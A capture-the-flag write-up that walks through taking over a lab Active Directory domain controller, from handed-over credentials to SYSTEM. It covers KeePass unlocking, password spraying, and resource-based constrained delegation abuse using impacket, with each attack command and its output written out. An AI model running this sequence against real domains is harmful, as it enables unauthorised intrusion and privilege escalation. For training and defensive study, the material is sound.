Forward

Jun 16, 2026

|

8 min read

| Room ↗

“The breach has been assumed, now it’s time to move forward.” This is the sequel to Proxy, and the family resemblance is the point: Proxy ended on classic constrained delegation, Forward ends on its mirror image, resource-based constrained delegation (RBCD). We’re handed a low-priv foothold and told to go as far as we can:

given credentials
USER > ctf.local\j.smith
PASS > JSmith@IT2024

Recon

Same DC as Proxy, full-port scan, and the same thicket of AD services.

nmap: full TCP service scan
sudo nmap -sV -sC -p- 10.x.x.x
result (trimmed)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap AD LDAP (Domain: ctf.local)
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows
| smb2-security-mode:
|_ Message signing enabled and required

DC01.ctf.local, domain ctf.local, SMB signing required again (so relaying is out, same constraint as Proxy). Nothing new on the surface; the foothold is the credential we were handed, not an open service.

Foothold enumeration as j.smith

First, what does j.smith actually have? SMB shares, authenticated this time:

smbmap: authenticated share list
smbmap -H 10.x.x.x -d ctf.local -u j.smith -p 'JSmith@IT2024'
result
Disk Permissions Comment
---- ----------- -------
Downloads READ ONLY File drop share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share

A Downloads share, but browsing it (and SYSVOL/NETLOGON) with impacket-smbclient turns up nothing interesting (if not nothing at all). So I went down the usual AD checklist:

Kerberoast: request roastable tickets
impacket-GetUserSPNs -dc-ip 10.x.x.x ctf.local/j.smith:'JSmith@IT2024' -request
result (trimmed)
ServicePrincipalName Name Delegation
----------------------- ------------ -----------
helpdesk/DC01 svc.helpdesk constrained
helpdesk/DC01.ctf.local svc.helpdesk constrained
$krb5tgs$23$*svc.helpdesk$CTF.LOCAL$... [snip]

svc.helpdesk is roastable but cracking the ticket gets nowhere:

hashcat: Kerberoast (13100), exhausted
hashcat -m 13100 hash.txt ~/thm/wordlists/rockyou.txt
# Status...........: Exhausted

The rest of the checklist is all dead ends too, worth showing, because ruling things out is part of the work:

the things that did NOT work
# Not a privileged account: can't DCSync
impacket-secretsdump 'ctf.local/j.smith:JSmith@IT2024@10.x.x.x'
# [-] DRSR SessionError: ERROR_DS_DRA_BAD_DN ... rpc_s_access_denied
# No AS-REP roastable users
impacket-GetNPUsers -dc-ip 10.x.x.x ctf.local/j.smith:'JSmith@IT2024' -request -format hashcat
# No entries found!

And BloodHound, collected as j.smith, draws a blank on any path to Domain Admins:

bloodhound-python: collect as j.smith
bloodhound-python -u j.smith -p 'JSmith@IT2024' -d ctf.local -ns 10.x.x.x -c All --zip
BloodHound finds no path from j.smith to Domain Admins
Shortest-path query from J.SMITH to DOMAIN ADMINS returns nothing

No graph edges to abuse. But BloodHound did show one mundane thing, j.smith’s group memberships:

j.smith is a member of Remote Desktop Users
j.smith MemberOf Remote Desktop Users, Domain Users, and an AppLocker-Restricted group

j.smith is in Remote Desktop Users. The path from here isn’t a protocol, it’s logging in and looking around.

RDP as j.smith → the KeePass database

Remmina: RDP to the DC as j.smith
Server: 10.x.x.x
Username: j.smith
Domain: ctf.local
Remmina configured for RDP as j.smith
Remmina Quick Connect, RDP to 10.x.x.x as ctf.local\j.smith

Inside, I sweep the user profiles. Two things stand out, j.smith’s own Documents holds a credential vault, and over on r.williams’ desktop there’s a file I can list but not read as j.smith. Noting that second one for later:

Database.kdbx in j.smith's Documents
C:\Users\j.smith\Documents\Database.kdbx
A file on r.williams' desktop j.smith can't read
C:\Users\r.williams\Desktop\Automation-Notice.txt, visible but not readable as j.smith

A .kdbx is a KeePass database, and KeePass is installed on the box. Opening it, I’m prompted for a master key, but notice the third option is ticked:

KeePass Open Database, Windows user account ticked
The Enter Master Key dialog with 'Windows user account' as the key provider

NOTE

Why “Windows user account” opens it for free. A KeePass database can be locked with any combination of three factors: a master password, a key file, and the Windows user account. That last one derives key material from the current Windows user’s DPAPI, so the vault is bound to being logged in as that user, not to a password you have to know. This DB was created with j.smith’s Windows account as (part of) its key, and I’m sitting in an RDP session as j.smith, so I just leave that box ticked, hit OK, and it opens. No cracking, no keepass2john.

The vault entries include a “Help Desk Portal” credential for t.jones, plus a couple of decoys:

KeePass vault opened, Help Desk Portal entry
KeePass entries: two sample/decoy entries and a 'Help Desk Portal' entry noted as IT Help Desk ticketing credentials

The “Help Desk Portal” note ties one of it to t.jones, but I don’t know which account the others belong to, so rather than guess, I’ll spray.

Password spraying → t.jones and r.williams

First pull the user list, then spray the recovered passwords across all of them. Three passwords against seven users is well under any lockout threshold:

enumerate users
impacket-GetADUsers -dc-ip 10.x.x.x ctf.local/j.smith:'JSmith@IT2024' -all
# Administrator, Guest, krbtgt, j.smith, t.jones, r.williams, svc.helpdesk
netexec: spray the KeePass passwords over SMB
nxc smb 10.x.x.x -u users.txt -p pass.txt --continue-on-success
result (trimmed to the hits)
SMB 10.x.x.x 445 DC01 [+] ctf.local\t.jones:████████████
SMB 10.x.x.x 445 DC01 [+] ctf.local\r.williams:████████████

Two hits, t.jones and r.williams share that one password. The same spray over RDP shows both are Pwn3d!, i.e. they can log in interactively too:

same creds work over RDP
nxc rdp 10.x.x.x -u users.txt -p pass.txt --continue-on-success
# [+] ctf.local\t.jones:████████████ (Pwn3d!)
# [+] ctf.local\r.williams:████████████ (Pwn3d!)

t.jones turns out to be a dead end, but r.williams is the one with a graph edge.

r.williams → Domain Admin via RBCD

Re-querying BloodHound as r.williams, the path finally lights up:

BloodHound: r.williams AddAllowedToAct on DC01
R.WILLIAMS --AddAllowedToAct--> DC01 --CoerceToTGT--> ctf.local --Contains--> Domain Admins

r.williams has AddAllowedToAct over DC01. In plain terms: r.williams can write the DC’s “who is allowed to impersonate users to me” setting. Whoever controls that setting can point it at an account they own and then impersonate anyone, including a Domain Admin, to the DC itself. This is Resource-Based Constrained Delegation (RBCD).

NOTE

RBCD vs. the classic delegation from Proxy. Both end in S4U2Proxy, but they’re configured from opposite ends:

  • Classic constrained delegation (Proxy): the attribute msDS-AllowedToDelegateTo lives on the front-end account (svc.scanner) and says “I may delegate to these services.”
  • Resource-based (RBCD, here): the attribute msDS-AllowedToActOnBehalfOfOtherIdentity lives on the target resource (DC01) and says “these accounts may delegate to me.” Crucially, it can be set by anyone with write over that attribute on the target, and that’s exactly the AddAllowedToAct edge r.williams holds over DC01.

So instead of needing a delegation right granted to us, we just write one onto the DC pointing back at an account we control.

The catch: I need an account with an SPN to be the “from” side. A normal user won’t do, but I can just create a computer account, which has SPNs by default.

1. add a machine account we control
impacket-addcomputer -computer-name 'PWNED$' -computer-pass 'pwned!' \
-dc-host dc01.ctf.local -domain-netbios ctf.local \
'ctf.local/r.williams:████████████'
# [*] Successfully added machine account PWNED$ with password pwned!.
2. write RBCD on DC01: PWNED$ may act on its behalf
impacket-rbcd -delegate-from 'PWNED$' -delegate-to 'DC01$' -action 'write' \
'ctf.local/r.williams:████████████'
# [*] Delegation rights modified successfully!
# [*] PWNED$ can now impersonate users on DC01$ via S4U2Proxy
3. S4U: get a cifs/DC01 ticket as Administrator
impacket-getST -impersonate 'Administrator' -spn 'cifs/DC01.ctf.local' \
'ctf.local/PWNED$:pwned!'
# [*] Impersonating Administrator
# [*] Requesting S4U2self
# [*] Requesting S4U2Proxy
# [*] Saving ticket in Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache

Same cifs/DC01.ctf.local SPN as Proxy, it grants SMB to the DC, which psexec turns into a SYSTEM shell. Load the ticket and cash it in:

4. use the ticket
export KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
impacket-psexec -k -no-pass ctf.local/Administrator@DC01.ctf.local

TIP

As in Proxy, Kerberos authenticates to the name, not the IP, make sure DC01.ctf.local resolves (add it to /etc/hosts if your DNS doesn’t point at the box), or psexec -k will fail to find the ticket’s target.

SYSTEM on the DC
[*] Found writable share ADMIN$
[*] Creating service BZEN on DC01.ctf.local.....
C:\Windows\system32> whoami
nt authority\system
C:\Users\Administrator\Desktop> type flag.txt
THM{████████████████████████████████}

SYSTEM on the domain controller. Box complete. 🚩

The second route: a honeypot

Remember that file on r.williams’ desktop I couldn’t read as j.smith? Now that I have r.williams, it opens, a “HelpDesk Automation Notice”:

Automation-Notice.txt
A background process handles automatic ticket processing and
service account maintenance for the HelpDesk system.
The automation runs periodically and stores temporary working
files in C:\Windows\Temp.

And in C:\Windows\Temp there’s a base64 blob that smells like a Kerberos ticket:

Recent files showing HelpDesk-Auth.b64 in C:\Windows\Temp
HelpDesk-Auth.b64 and silconfig sitting in C:\Windows\Temp
decode and convert the ticket
base64 -d HelpDesk-Auth.b64 > helpdesk.kirbi
impacket-ticketConverter helpdesk.kirbi helpdesk.ccache
impacket-describeTicket helpdesk.ccache
describeTicket: and the catch
[*] User Name : svc.helpdesk
[*] Service Name : krbtgt/ctf.local
[*] End Time : 21/05/2026 06:35:14 AM (expired)
[*] RenewTill : 27/05/2026 20:35:14 PM (expired)

A svc.helpdesk TGT, which would have been a lovely second path to that constrained-delegation account from the Kerberoast earlier… except it’s expired, and so is its renew window. It can’t be used or renewed.

WARNING

It’s a honeypot. The Automation-Notice → temp-ticket trail is a deliberate decoy: a plausible breadcrumb that leads to a dead, unusable credential.

Takeaways

  • Sometimes we just connect. The pivot was a boring group membership (Remote Desktop Users) and logging in to look around.
  • KeePass “Windows user account” = no master password needed. If the DB is keyed to a Windows account and you have a session as that user, it just opens.
  • RBCD is the write-it-yourself delegation. You don’t need a delegation right granted to you, if you can write msDS-AllowedToActOnBehalfOfOtherIdentity on a target (and add a machine account via MachineAccountQuota), you can mint the right and S4U to Administrator.

Kill Chain

Initial Access T1078
given j.smith creds, foothold
Discovery T1087 · T1069
nmap full-port scan
smbmap, Kerberoast, BloodHound
j.smith in Remote Desktop Users
Lateral Movement T1021.001
RDP to the DC as j.smith
Credential Access T1555.005 · T1110.003
KeePass Windows-account unlock
netexec spray, t.jones and r.williams
Privilege Escalation T1098 · T1550.003
add PWNED$ machine account
write RBCD on DC01
S4U impersonate Administrator → SYSTEM
active-directory rbcd delegation password-spraying